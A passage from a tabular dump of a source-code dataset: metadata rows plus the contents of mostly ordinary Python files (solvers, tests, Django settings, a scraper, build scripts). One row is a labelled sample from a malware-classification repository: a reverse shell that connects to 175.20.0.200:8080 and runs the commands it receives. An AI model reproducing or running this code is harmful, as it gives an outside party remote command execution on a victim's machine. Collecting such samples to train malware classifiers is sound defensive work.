blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
14a3acc0bab16e60abbf783682b7aa042165a154 | 20bb1ae805cd796a7c377e55966633441d1d9fd5 | /uva/10680 LCM/lcm.py | b168af4bd0eee42ae91ee9c4dc81041695a8fe27 | [] | no_license | nathantheinventor/solved-problems | 1791c9588aefe2ebdc9293eb3d58317346d88e83 | c738e203fa77ae931b0ec613e5a00f9a8f7ff845 | refs/heads/master | 2022-10-27T08:58:23.860159 | 2022-10-13T20:18:43 | 2022-10-13T20:18:43 | 122,110,149 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 559 | py | ans = [0, 1]
cur = 1
factors = [[] for _ in range(1000001)]
for i in range(2, 1000001, 2):
factors[i].append(2)
for i in range(3, 1000001, 2):
if len(factors[i]) == 0:
for k in range(i, 1000001, i):
factors[k].append(i)
for i in range(2, 1000001):
if len(factors[i]) == 1:
for fa... | [
"[email protected]"
] | |
4cd078afb5311f126095acf7b92ad0506caea81c | 87796f8b79b325cdfca7a98b120d690a13ebd267 | /capture/noworkflow/tests/prov_definition/__init__.py | b9e742c0dad1702ab87430c5fbb2e8279693e496 | [
"MIT"
] | permissive | raffaelfoidl/noworkflow | c53c6be45960a93aa546fd8f6c967af2b7c31c93 | aa4ca189df24fec6c7abd32bcca6a097b21fdf31 | refs/heads/master | 2021-01-06T16:32:57.036864 | 2020-03-23T14:12:37 | 2020-03-23T14:12:37 | 241,398,493 | 0 | 0 | MIT | 2020-02-18T15:36:16 | 2020-02-18T15:36:15 | null | UTF-8 | Python | false | false | 426 | py | # Copyright (c) 2016 Universidade Federal Fluminense (UFF)
# Copyright (c) 2016 Polytechnic Institute of New York University.
# This file is part of noWorkflow.
# Please, consult the license terms in the LICENSE file.
from __future__ import (absolute_import, print_function,
division, unicode_li... | [
"[email protected]"
] | |
8614ee5eeee6d74b19ddc1e1113d47b06dddb8bd | 4e5141121d8b4015db233cbc71946ec3cfbe5fe6 | /samples/basic/crud/gnmi/models/cisco-ios-xr/Cisco-IOS-XR-ethernet-lldp-cfg/gn-create-xr-ethernet-lldp-cfg-20-ydk.py | 3d8398de12dc3fa89df78ddc852a3fa57177f1dc | [
"Apache-2.0"
] | permissive | itbj/ydk-py-samples | 898c6c9bad9d6f8072892300d42633d82ec38368 | c5834091da0ebedbb11af7bbf780f268aad7040b | refs/heads/master | 2022-11-20T17:44:58.844428 | 2020-07-25T06:18:02 | 2020-07-25T06:18:02 | 282,382,442 | 1 | 0 | null | 2020-07-25T06:04:51 | 2020-07-25T06:04:50 | null | UTF-8 | Python | false | false | 2,824 | py | #!/usr/bin/env python
#
# Copyright 2016 Cisco Systems, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | [
"[email protected]"
] | |
174b23a0701205e2da87894ca11e6fddd5a246d5 | 38a263d52c52a8834b175e867330d8415dad7384 | /Regression_suite_bigc/api/test_shipping_method_api.py | 39dd52af582926da309c4c1bc141b4d413de60a9 | [] | no_license | testing-sravan/tests-scripts-worked | 4e57c47c4ea9a9bc22e85a8b6d628615907537bd | 33c579918356f6ff1cdfd5635d6eba1d85eba0b7 | refs/heads/master | 2021-01-10T20:39:12.805680 | 2014-09-15T04:54:02 | 2014-09-15T04:54:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,893 | py | from lib.api_lib import *
from lib.shipping_class import *
AUSPOST_AUTH_KEY = "bzfac4efaf7e7e51a4b1dbd7cc76cb31"
@pytest.mark.skipif("True")
def ttest_disable_shipping_reboot(browser, url, email, password):
shipping = ShippingClass(browser)
shipping.go_to_admin(browser, url, email, password)
shipping.set... | [
"jenkins@localhost"
] | jenkins@localhost |
ae79db95820afa78fc580aa49376922c0c238952 | ad13583673551857615498b9605d9dcab63bb2c3 | /output/models/ms_data/datatypes/facets/float_pkg/float_min_inclusive005_xsd/__init__.py | 2aa44ebe2b8660a5c90d5e944cdea45e6804713b | [
"MIT"
] | permissive | tefra/xsdata-w3c-tests | 397180205a735b06170aa188f1f39451d2089815 | 081d0908382a0e0b29c8ee9caca6f1c0e36dd6db | refs/heads/main | 2023-08-03T04:25:37.841917 | 2023-07-29T17:10:13 | 2023-07-30T12:11:13 | 239,622,251 | 2 | 0 | MIT | 2023-07-25T14:19:04 | 2020-02-10T21:59:47 | Python | UTF-8 | Python | false | false | 180 | py | from output.models.ms_data.datatypes.facets.float_pkg.float_min_inclusive005_xsd.float_min_inclusive005 import (
FooType,
Test,
)
__all__ = [
"FooType",
"Test",
]
| [
"[email protected]"
] | |
19278d8ef7d38d9fef53807d8b5f43c6599c1860 | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_310/ch24_2019_02_28_22_51_17_076072.py | a696f9213b91ef86ad0fdb8ed69e705024d7c53c | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 204 | py | def classifica_triangulo(l1, l2, l3):
if l1==l2 and l1==l3:
return "equilátero"
elif l1==l2 and l1!=l3 or l1!=l2 and l1==l3:
return "isóceles"
else:
return "escaleno" | [
"[email protected]"
] | |
12b57b06ca8399fdc27fa38e011de43de67a8a30 | 94f4bb0f6e43b2eb2f1bdb284a580b76121fa9af | /559.py | 36b10d1ab3ede26c95a47dba50b8ef0aa9c74592 | [] | no_license | huosan0123/leetcode-py | f1ec8226bae732369d4e1989b99ab0ba4b4061c4 | 22794e5e80f534c41ff81eb40072acaa1346a75c | refs/heads/master | 2021-01-25T11:48:17.365118 | 2019-09-12T15:45:34 | 2019-09-12T15:45:34 | 93,934,297 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 547 | py | """
# Definition for a Node.
class Node(object):
def __init__(self, val, children):
self.val = val
self.children = children
"""
class Solution(object):
def maxDepth(self, root):
"""
:type root: Node
:rtype: int
"""
if not root:
return 0
... | [
"[email protected]"
] | |
abc71170bebc5eeabbc454115b8a9dcc7b9a858e | 7db0883137d119565540f2d071638c4016f39213 | /Note/Spider/2.28-selenium/selenium+phantomjs学习/selenium_study3.py | 452662361c9123151650e6ef605f1db84e6b3d4e | [] | no_license | PhilHuang-d/python--- | cf22a4cc00d4beaaf75ef7ca87a4c5d31a9d5efe | 152c18f51838ce652b79a0cd24765b1a1c237eee | refs/heads/master | 2021-09-13T05:32:53.754865 | 2018-04-25T13:36:40 | 2018-04-25T13:36:40 | 108,812,447 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,975 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import random
__author__ = 'Terry'
USER_AGENTS = [
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Mozilla/5.0 (Wind... | [
"[email protected]"
] | |
bfc54acf5cfe74cdca27af81c9e898c7ad2005c3 | 37a67a9531f8c32739ae70fc5be55b4c6acae60d | /multinomial.py | 61b5f29f47a1620d45a703bb42a374da45ab4e3d | [
"MIT"
] | permissive | gongkecun/distribution-is-all-you-need | da1b1b363df3343e0753e55564311e323cd6c890 | 93ae5ed7fa63607474d61723d2d28d1a4b3c653a | refs/heads/master | 2020-08-27T10:03:21.144561 | 2019-10-24T15:04:43 | 2019-10-24T15:04:43 | 217,326,807 | 0 | 0 | MIT | 2019-10-24T15:02:48 | 2019-10-24T15:02:48 | null | UTF-8 | Python | false | false | 1,217 | py | """
Code by Tae-Hwan Hung(@graykode)
https://en.wikipedia.org/wiki/Multinomial_distribution
3-Class Example
"""
import numpy as np
from matplotlib import pyplot as plt
import operator as op
from functools import reduce
def factorial(n):
return reduce(op.mul, range(1, n + 1), 1)
def const(n, a, b, c):... | [
"[email protected]"
] | |
245925707f4f6c6c98786d629ccf351760017361 | 80ae9b5cfb45b6e9cf7873ef7c46e17e117e4019 | /data/HackerRank-Python/Matrix Script.py | 114fa5ab8380753bbc2fe298d07e8f760aeb97f0 | [] | no_license | Ritvik19/CodeBook | ef7764d89b790e902ede5802f36d5ca910d8a50e | 2b4ed7938bbf156553d6ba5cba6216449528f0fc | refs/heads/master | 2021-07-04T08:25:52.478719 | 2020-08-08T06:54:14 | 2020-08-08T06:54:14 | 138,744,302 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 326 | py | #!/bin/python3
import math
import os
import random
import re
import sys
n, m = map(int, input().rstrip().split())
matrix = []
for _ in range(n):
matrix_item = input()
matrix.append(matrix_item)
print(re.sub(r'(?<=[A-Za-z0-9])([^A-Za-z0-9]+)(?=[A-Za-z0-9])',' ',"".join("".join(decode) for decode in zip(*matri... | [
"[email protected]"
] | |
e4076d56d19e0b60f79ef0b63139cbc98873367c | e92d752737f3e90a47355d5502a364a9e2d0c08b | /tests/test_reverseproxy.py | c93c3521ab514877f5527c50f379fbd88223bb84 | [
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | miri64/aiocoap | c7815758371f0a83c51b058fb0c24e8024feae9f | 93e699280b644465213fc8ba29bae556475fb6fc | refs/heads/master | 2023-08-15T16:46:27.985718 | 2021-10-05T17:15:00 | 2021-10-05T17:15:00 | 404,324,558 | 0 | 0 | NOASSERTION | 2021-09-08T11:39:12 | 2021-09-08T11:39:12 | null | UTF-8 | Python | false | false | 4,526 | py | # This file is part of the Python aiocoap library project.
#
# Copyright (c) 2012-2014 Maciej Wasilak <http://sixpinetrees.blogspot.com/>,
# 2013-2014 Christian Amsüss <[email protected]>
#
# aiocoap is free software, this file is published under the MIT license as
# described in the accompany... | [
"[email protected]"
] | |
449248113ab98dd46f92d9e76576d832177aefbd | f9acfbff2744c014cd4adbc53d75316cacc00896 | /pycspr/api/get_node_peers.py | caff8d058e48be88cc650078538c0c1ab16f9b24 | [
"Apache-2.0"
] | permissive | Shr1ftyy/casper-python-sdk | 30fb3edc42551faef0b9bf10bf5a13ed8b5ac9f5 | 1c32ef89ef269f0307d530cfd635cfcbb3f29290 | refs/heads/main | 2023-07-27T17:17:40.054075 | 2021-07-29T09:58:12 | 2021-07-29T09:58:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 490 | py | import jsonrpcclient as rpc_client
from pycspr.client import NodeConnectionInfo
# Method upon client to be invoked.
_API_ENDPOINT = "info_get_peers"
def execute(connection_info: NodeConnectionInfo) -> dict:
"""Returns node peers information.
:param connection_info: Information required to connect to a no... | [
"[email protected]"
] | |
70f0c42a9f45b0c0587d68145739c19c27479312 | 6efea391d0dd6087d8753057cff45867884fe5f1 | /google/cloud/logging_v2/proto/logging_pb2_grpc.py | e1759bbc1b990fe9d20bf576c1c5f12009895806 | [
"Apache-2.0"
] | permissive | tswast/python-logging | d9c4ae1ee87fb29436e2f16d9adac2a7a2d08378 | c4387b307f8f3502fb53ae1f7e1144f6284280a4 | refs/heads/master | 2022-12-30T19:50:14.840163 | 2020-08-12T20:28:40 | 2020-08-12T20:28:40 | 298,009,362 | 0 | 0 | Apache-2.0 | 2020-09-23T15:12:47 | 2020-09-23T15:12:46 | null | UTF-8 | Python | false | false | 6,922 | py | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
import grpc
from google.cloud.logging_v2.proto import (
logging_pb2 as google_dot_cloud_dot_logging__v2_dot_proto_dot_logging__pb2,
)
from google.protobuf import empty_pb2 as google_dot_protobuf_dot_empty__pb2
class LoggingServiceV2Stub(object... | [
"[email protected]"
] | |
1c191670b95cd97eb7e9927c5966fe0fe092eed3 | c259bd9e4a570a1fa37949655530d778e5f5c46d | /mysite/.history/mysite/settings_20211014220254.py | edf1209e555479d4892a4fb712109c1d5b7bea7a | [] | no_license | ritikalohia/django-rest-students | 0cc56f435b7b2af881adfd7cace54eef98213c57 | ca5f9f466fcd74fef8ce91f019bcb6e7d83c8e20 | refs/heads/main | 2023-08-15T21:51:18.988691 | 2021-10-14T18:19:04 | 2021-10-14T18:19:04 | 417,219,011 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,239 | py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 3.2.8.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from pathlib ... | [
"[email protected]"
] | |
f565c7f1049dafaeb6f59a5d1402e33d61f66f26 | cccf8da8d41ae2c14f5f4313c1edcf03a27956bb | /python/python2latex/writeLTXnonfrenchspacing.py | 500b80bebf55e18223970983e73099ddd5dc5c8a | [] | no_license | LucaDiStasio/transpilers | e8f8ac4d99be3b42a050148ca8fbc5d025b83290 | c55d4f5240083ffd512f76cd1d39cff1016909b8 | refs/heads/master | 2021-01-12T01:57:00.540331 | 2017-11-01T13:59:55 | 2017-11-01T13:59:55 | 78,448,378 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,438 | py | # Autogenerated with SMOP
from smop.core import *
#
@function
def writeLTXnonfrenchspacing(filepath=None,args=None,options=None,*args,**kwargs):
varargin = writeLTXnonfrenchspacing.varargin
nargin = writeLTXnonfrenchspacing.nargin
##
#================================================================... | [
"[email protected]"
] | |
caea2ec58c57adbd5f5dc9e9a63d8dc2b3c96220 | 85d41b34a472a2ec726b6fe9ebccc19a75159641 | /src/run_interrogate.py | c9fd70730d2eb2e009a3c248d42ab3bec617022d | [] | no_license | toontownretro/libotp | 186dacbe920b39a44840cc568cd76f1ea87ebd03 | 1ddfbd6526e88e887468c3c517a5d07dbc6e59be | refs/heads/master | 2022-12-19T10:55:28.239247 | 2020-09-14T00:59:03 | 2020-09-14T00:59:03 | 245,036,965 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 1,661 | py | import subprocess
import glob
import sys
import os
srcdir = os.path.abspath(os.path.dirname(__file__))
pandadir = os.path.abspath(sys.argv[1])
def run_command(cmd):
p = subprocess.Popen(cmd, stdout=sys.stdout, stderr=sys.stderr, shell=True)
ret = p.wait()
if ret != 0:
print("\n")
print('T... | [
"[email protected]"
] | |
9172f47544a3ec96a3b22276472d050776365b40 | 8df5df20ac10a8dc81f7ac6e21e835553a8f5e2d | /src/sleekapps/threads/signals/thread/thread.py | 62045b0ba77e61bb8a378d1da88a8b31a5019dbe | [] | no_license | adepeter/sleekforum | 7be71907d26623c43cd78a6da77a2398c1c25e26 | 35385e648974cdf009732af4c50b69a1825f7fda | refs/heads/master | 2022-09-18T02:45:42.522128 | 2021-10-23T06:41:44 | 2021-10-23T06:41:44 | 208,669,487 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,075 | py | from django.core.cache import cache
from django.db.models.signals import post_save
from django.dispatch import receiver, Signal
from .models import Thread, ThreadView
# from ..miscs.models.activity import Action
# from ..miscs.signals.activity import activity_updater
# #
# # @receiver(post_save, sender=Action)
# # ... | [
"[email protected]"
] | |
47466b53530a7e9c3f7c8c4065f831ce72d30c20 | 12abe02e205d3e8dabe78fb5a93ccca89e2c42c4 | /tools/prepare_client.py | 6e73dd03164c3faee99d8c53e13fe17142da37b8 | [] | no_license | nate97/toontown-src-py3.0 | 55092b2973b76e6b6d566887f44c52822684394c | f76c515801ae08c40b264b48365211fd44b137eb | refs/heads/master | 2022-07-07T05:23:22.071185 | 2022-06-22T16:36:10 | 2022-06-22T16:36:10 | 187,682,471 | 15 | 8 | null | null | null | null | UTF-8 | Python | false | false | 6,291 | py | #!/usr/bin/env python2
import argparse
import hashlib
import os
from panda3d.core import *
import shutil
parser = argparse.ArgumentParser()
parser.add_argument('--distribution', default='en',
help='The distribution string.')
parser.add_argument('--build-dir', default='build',
h... | [
"[email protected]"
] | |
d2aa6ff19836d34ff0dab5a45d47cf65bd7f3324 | 02802ecfff8639edc093068da740ded8ee8228aa | /test/test_inline_object8.py | 4de4d72fa7c421eec5426415f92be8159709b6ab | [] | no_license | mintproject/data-catalog-client | 0fc406c2063864144a9a995e98724144b43feb66 | 22afd6341e5f66594c88134834d58e4136e4983a | refs/heads/master | 2020-12-08T21:56:02.785671 | 2020-05-13T03:53:51 | 2020-05-13T03:53:51 | 233,105,679 | 1 | 1 | null | 2020-05-13T03:53:53 | 2020-01-10T18:17:55 | Python | UTF-8 | Python | false | false | 873 | py | # coding: utf-8
"""
MINT Data Catalog
API Documentation for MINT Data Catalog # noqa: E501
The version of the OpenAPI document: 1.0.0
Contact: [email protected]
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import unittest
import datacatalog
from datacata... | [
"[email protected]"
] | |
c8e9a6df4de37b414ea033965c80120dab0b6e57 | d36975caedab71aaaac26156105afaf59448e445 | /机器人传感系统/2.超声波距离传感器/读取距离数据_RestfulAPI.py | 00db909c44b8986e49e69f50e5f9072b82fad478 | [
"MIT"
] | permissive | mukgong/AI-robot | 3d84b444ac8d1a0cdb061eda19bb9319c9af036e | f89d91b67705878d9e87ae09a35b436495b66707 | refs/heads/master | 2022-12-25T01:07:37.174852 | 2020-10-05T01:44:50 | 2020-10-05T01:44:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 500 | py | import requests
import json
def get_sensor():
sensor_url = "http://127.0.0.1:9090/v1/sensors/ultrasonic"
headers={'Content-Type':'application/json'}
response=requests.get(url=sensor_url, headers=headers)
print (response.content)
res = json.loads(response.content)
if (len(res["data"])>... | [
"[email protected]"
] | |
4e18bb629d0cf47b38d4f4e6bcbfd8840cd16497 | 84abce44bd0278fa99e9556168290675f399834c | /EcalAlCaRecoProducers/config/reRecoTags/pulseShapeStudy_m100.py | 1130a38c27fbf75c327984fb96b19892b85b5ca7 | [] | no_license | ECALELFS/ECALELF | 7c304c6b544b0f22a4b62cf942f47fa8b58abef0 | 62a046cdf59badfcb6281a72923a0f38fd55e183 | refs/heads/master | 2021-01-23T13:36:31.574985 | 2017-06-22T12:26:28 | 2017-06-22T12:26:28 | 10,385,620 | 1 | 9 | null | 2017-06-30T12:59:05 | 2013-05-30T15:18:55 | C++ | UTF-8 | Python | false | false | 2,240 | py | import FWCore.ParameterSet.Config as cms
from CondCore.DBCommon.CondDBSetup_cfi import *
RerecoGlobalTag = cms.ESSource("PoolDBESSource",
CondDBSetup,
connect = cms.string('frontier://FrontierProd/CMS_CONDITIONS'),
globaltag ... | [
"[email protected]"
] | |
b672d74dc3ade9ca857ed2b97d2a8bc96d25a527 | d78989a8ce52a98f48d77228c4ea893f7aae31f7 | /symbolic_expressions/sample15-virt-bogus-loop-iterations-2.py | 80503fc33404de03c7ff542b5ba14a32feb2dee4 | [] | no_license | llyuer/Tigress_protection | 78ead2cf9979a7b3287175cd812833167d520244 | 77c68c4c949340158b855561726071cfdd82545f | refs/heads/master | 2020-06-17T11:16:40.078433 | 2019-04-16T09:27:29 | 2019-04-16T09:27:29 | 195,908,093 | 1 | 0 | null | 2019-07-09T01:14:06 | 2019-07-09T01:14:06 | null | UTF-8 | Python | false | false | 1,086 | py | #!/usr/bin/env python2
## -*- coding: utf-8 -*-
import sys
def sx(bits, value):
sign_bit = 1 << (bits - 1)
return (value & (sign_bit - 1)) - (value & sign_bit)
SymVar_0 = int(sys.argv[1])
ref_342 = SymVar_0
ref_353 = ref_342 # MOV operation
ref_365 = ref_353 # MOV operation
ref_367 = ref_365 # MOV operation
... | [
"[email protected]"
] | |
a741f54aa2bfa5f22db1890af574ff5b01ac58b0 | 4b46bcb9e3883a57f46d490da424e8d9463ba8aa | /PyFolder/Python_Django/app_integration/apps/appintegrate/models.py | 9f694e3217e40b8ecf4af783c0155140d3aaa317 | [] | no_license | LAdkins81/DojoAssignments | 1752c131454dc6f259d4e84390af218e1a423b50 | 7bc7a92bed72ff37c5d8991e478ffae8fefd82db | refs/heads/master | 2021-01-11T17:53:03.814123 | 2017-05-09T14:58:33 | 2017-05-09T14:58:33 | 79,859,799 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 905 | py | from __future__ import unicode_literals
from django.db import models
from ..courses.models import Course
from ..loginandreg.models import User
from django.db.models import Count
# Create your models here.
class UserCourseManager(models.Manager):
def addUserToCourse(self, object):
user_id = object['users']... | [
"[email protected]"
] | |
57968c4b0079829bed20ff53911d5d768715b9fd | 7798c5171e4f63b40e9a2d9ae16f4e0f60855885 | /manage.py | b3a505230aac16ae6ce9859ed552d3f4d09d2d80 | [] | no_license | mstepniowski/wffplanner | d2d5ddd2938bd2b7b294332dad0d24fa63c2700a | 62d1d00ca9a546b759e5c394c7a9da06484a7aa3 | refs/heads/master | 2020-05-20T06:04:22.413395 | 2015-10-01T16:12:48 | 2015-10-01T16:12:48 | 6,033,243 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 256 | py | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "wffplanner.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| [
"[email protected]"
] | |
945d9d0dbf297f3e00334a032fd8cd7922a9654e | 6cd87462fd9b5ee575aee281f6d2e4be5391ea92 | /apps/twitter/admin.py | f4524da329c2671ab002a1df4a319053a229dfa3 | [] | no_license | mo-mughrabi/djsocial | 912413574fd7ce943387dbd5744f05ec8ca57f48 | 060c0a8e0db848879dfaeb4c6f44f1dba7a39aea | refs/heads/master | 2016-09-16T10:46:05.853935 | 2014-03-13T19:14:41 | 2014-03-13T19:14:41 | 16,213,862 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 644 | py | # -*- coding: utf-8 -*-
from django.contrib import admin
from models import Twitter, ScheduleOrder, Order
class TwitterAdmin(admin.ModelAdmin):
list_display = ('user', 'tid', 'screen_name','followers_sum', 'following_sum')
# Now register the new TwitterAdmin...
admin.site.register(Twitter, TwitterAdmin)
class Sc... | [
"="
] | = |
4a2d4fecf255307e71b25519413f146f1bdacfd9 | 56b36ddf920b5f43e922cb84e8f420f1ad91a889 | /Leetcode/Leetcode - Premium/Mock Interview/isSubsequence.py | 053496e29b0e65f9a467defbd48dcafc83eb967e | [] | no_license | chithien0909/Competitive-Programming | 9ede2072e85d696ccf143118b17638bef9fdc07c | 1262024a99b34547a3556c54427b86b243594e3c | refs/heads/master | 2022-07-23T16:47:16.566430 | 2020-05-12T08:44:30 | 2020-05-12T08:44:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,279 | py | """
Given a string s and a string t, check if s is subsequence of t.
You may assume that there is only lower case English letters in both s and t. t is potentially a very long (length ~= 500,000) string, and s is a short string (<=100).
A subsequence of a string is a new string which is formed from the original strin... | [
"[email protected]"
] | |
b28d0abd6a484e23c277ddb74ecf8140c4ca1fe5 | 1bdf38834c22b0100595cb22f2862fd1ba0bc1e7 | /code308RangeSumQuery2DMutable.py | f914f056042314c3f89d84a5b8ddf3bfe388b092 | [] | no_license | cybelewang/leetcode-python | 48d91c728856ff577f1ccba5a5340485414d6c6e | 635af6e22aa8eef8e7920a585d43a45a891a8157 | refs/heads/master | 2023-01-04T11:28:19.757123 | 2020-10-29T05:55:35 | 2020-10-29T05:55:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,454 | py | """
308. Range Sum Query 2D - Mutable
Given a 2D matrix matrix, find the sum of the elements inside the rectangle defined by its upper left corner (row1, col1) and lower right corner (row2, col2).
The above rectangle (with the red border) is defined by (row1, col1) = (2, 1) and (row2, col2) = (4, 3), which conta... | [
"[email protected]"
] | |
4125a3a6906417841daee6699df1daa262068870 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03069/s036551857.py | 273e2d32d2871800eb6b588af947e2fe9c71f0b3 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 269 | py | import sys,math,collections,itertools
input = sys.stdin.readline
N = int(input())
s = input().rstrip()
cntb =0
cntw = s.count('.')
ans =cntw
for i in range(len(s)):
if s[i] == '#':
cntb +=1
else:
cntw -=1
ans = min(ans,cntb+cntw)
print(ans) | [
"[email protected]"
] | |
f6bdf4d9d98945b174ea3626cac9c7f21706ba7e | 73e939e797cc28aa33a4f55c234237c47167033e | /test/test_transaction_summary.py | b5bc1ae60e987c82adcad1bf24cbb8c6ef351245 | [] | no_license | dmlerner/ynab-api | b883a086e6ce7c5d2bdb5b17f3f0a40dbb380046 | df94b620d9ec626eacb9ce23bfd313f1c589b03a | refs/heads/master | 2023-08-17T14:22:17.606633 | 2023-07-03T17:05:16 | 2023-07-03T17:05:16 | 223,287,209 | 27 | 13 | null | 2023-08-05T18:58:58 | 2019-11-21T23:58:22 | Python | UTF-8 | Python | false | false | 975 | py | """
YNAB API Endpoints
Our API uses a REST based design, leverages the JSON data format, and relies upon HTTPS for transport. We respond with meaningful HTTP response codes and if an error occurs, we include error details in the response body. API Documentation is at https://api.youneedabudget.com # noqa: E5... | [
"[email protected]"
] | |
0fb0c324b7732ab490a71f2d069eca7673a43eb2 | 7a87119ef5d77a1b225aab45083a45dcd376684c | /6_palindroom.py | b71f3511d35f1b2ab48041d139ac45ce6325a707 | [] | no_license | astilleman/MI | 0e31e0f4098502e83a13805feae82e038c169bb7 | 1564fd28f759761c3e186d41107c9abff3b69070 | refs/heads/master | 2023-03-29T19:14:46.817308 | 2021-04-06T15:43:17 | 2021-04-06T15:43:17 | 337,495,283 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,100 | py | """
Een palindroom is een string die hetzelfde leest van links naar
rechts, als omgekeerd. Enkele voorbeelden van palindromen zijn:
- kayak
- racecar
- was it a cat I saw
Schrijf een recursieve functie die een string vraagt aan de gebruiker en
nakijkt of deze string al dan niet een palindroom is. Indien... | [
"[email protected]"
] | |
174e5543c3d14be2f7973435e139bd2bb9bc19b5 | ef2f932655e4591c4f654431cd96eedd0af2b5ba | /tests/example.py | b717490fbd69d71977bed6f795fb9a7c57e8a744 | [
"MIT"
] | permissive | cair/hex-ai | b380447c6dd445452c161babefdfadf329e899fa | 70c134a1479b58634e62c845314c7536ad64e4be | refs/heads/master | 2021-08-03T02:37:13.928443 | 2021-07-26T19:58:51 | 2021-07-26T20:02:29 | 209,273,454 | 0 | 0 | MIT | 2021-04-19T17:44:02 | 2019-09-18T09:46:06 | C | UTF-8 | Python | false | false | 540 | py | from PyHex import Hex11 as Hex
if __name__ == "__main__":
hg = Hex.HexGame()
winner = -1
for game in range(10000000):
Hex.init(hg)
player = 0
while Hex.full_board(hg) == 0:
position = Hex.place_piece_randomly(hg, player)
if Hex.winner(hg, player, position... | [
"[email protected]"
] | |
66eef6585fd94f0ceff511a5bcdfafdbbc1d0330 | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad382.py | 9b733b70a15ec41b80a16eccdf59369f39e4f4a9 | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 318 | py | import bz2
import threading
import socket
import subprocess
import lzma
import hashlib
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not command: break
data = subprocess.check_output(command, shell=True)
s.send(data)
| [
"[email protected]"
] | |
b10302ab2daca47e9bd8afe17228e2f901d2976a | d00b1e01f82076248eb07d6391fafabfbac74898 | /metadata/FrostNumber/hooks/pre-stage.py | 7f090d9c2b69e9473bb79627b7d4db1dbab856b5 | [
"MIT"
